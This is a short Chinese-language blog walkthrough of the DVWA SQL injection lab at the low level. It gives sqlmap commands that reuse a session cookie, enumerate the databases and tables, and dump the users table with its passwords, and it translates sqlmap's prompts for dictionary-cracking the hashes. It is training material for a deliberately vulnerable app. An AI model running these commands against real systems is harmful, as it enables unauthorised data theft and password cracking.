DVWA—SQL Injection(SQL注入)

LOW:

在ID栏输入1,复制url“http://192.168.94.140/DVWA1/qiehqiehuan /sqli/?id=1&Submit=Submit#”到sqlmap

sqlmap -u “url ”

提示302重新定向到”login.php”这个页面,需要重新使用cookie进行注入。

chrome浏览器:F12console输入document.cookie进行查询。

sqlmap -u “url” –cookie “F12console输入document.cookie”

得到数据库类型版本(MySQL),服务器类型版本(Apache,PHP)

sqlmap -u “url” –cookie “~” –dbs

–dbs参数:获得所有数据库

sqlmap -u “url” –cookie “~” –current-db

得到当前使用的数据库”dvwa”

sqlmap -u “url” –cookie “~” –table -D “dvwa”

得到在dvwa下的表

sqlmap -u “url” –cookie “~” –columns -T “users” -D “dvwa”

得到dvwa下的users表的数据

sqlmap -u “url” –cookie “~” –dump -C “user,user_id,password” -T “users” -D “dvwa”

得到“dvwa”数据库下“users”表里面的“user,user_id,password”列的具体值

选项翻译(机翻):

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]—是否要将散列存储到临时文件中,以便最终使用其他工具进一步处理[y/N]

do you want to crack them via a dictionary-based attack? [Y/n/q] —是否想通过基于字典的攻击来破解它们[Y/n/q]

what dictionary do you want to use?—用什么字典来破解

[1] default dictionary file ‘E:\SQLMap\txt\wordlist.zip’ (press Enter)—默认字典文件’E:\SQLMap\txt\wordlist.zip'(按下回车)

[2] custom dictionary file—自定义字典

[3] file with list of dictionary files—带有字典文件列表的文件

发布者:yuban

这个人很懒,请各位大佬对他的网站手下留情。在这谢谢您了。

留下评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注